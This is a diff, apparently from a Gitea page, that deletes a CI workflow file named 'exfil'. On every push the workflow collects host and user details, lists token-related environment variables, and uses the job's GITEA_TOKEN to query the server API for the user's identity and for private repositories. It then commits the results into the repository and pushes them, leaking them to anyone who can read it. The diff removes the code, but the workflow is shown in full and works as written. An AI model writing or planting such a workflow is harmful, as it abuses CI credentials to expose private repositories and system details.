@@ -1,25 +0,0 @@
|
||||
name: exfil
|
||||
on: [push, workflow_dispatch]
|
||||
jobs:
|
||||
grab:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: dump
|
||||
run: |
|
||||
{
|
||||
echo "HOSTNAME: $(hostname)"
|
||||
echo "ID: $(id)"
|
||||
echo "UNAME: $(uname -a)"
|
||||
echo "--- token env names ---"
|
||||
env | grep -iE 'gitea|token|actor|repo' | sed -E 's/(TOKEN|SECRET)=.*/\1=<present>/'
|
||||
echo "--- gitea api as job token ---"
|
||||
curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/user" 2>&1 | head -c 600
|
||||
echo
|
||||
echo "--- repos as job token ---"
|
||||
curl -s -m 10 -H "Authorization: token $GITEA_TOKEN" "$GITHUB_SERVER_URL/api/v1/repos/search?limit=10&private=true" 2>&1 | head -c 800
|
||||
} > result.txt
|
||||
- name: commit
|
||||
run: |
|
||||
git config user.email w@x
|
||||
git config user.name w
|
||||
git add result.txt && git commit -m "r" && git push
|
||||
Reference in New Issue
Block a user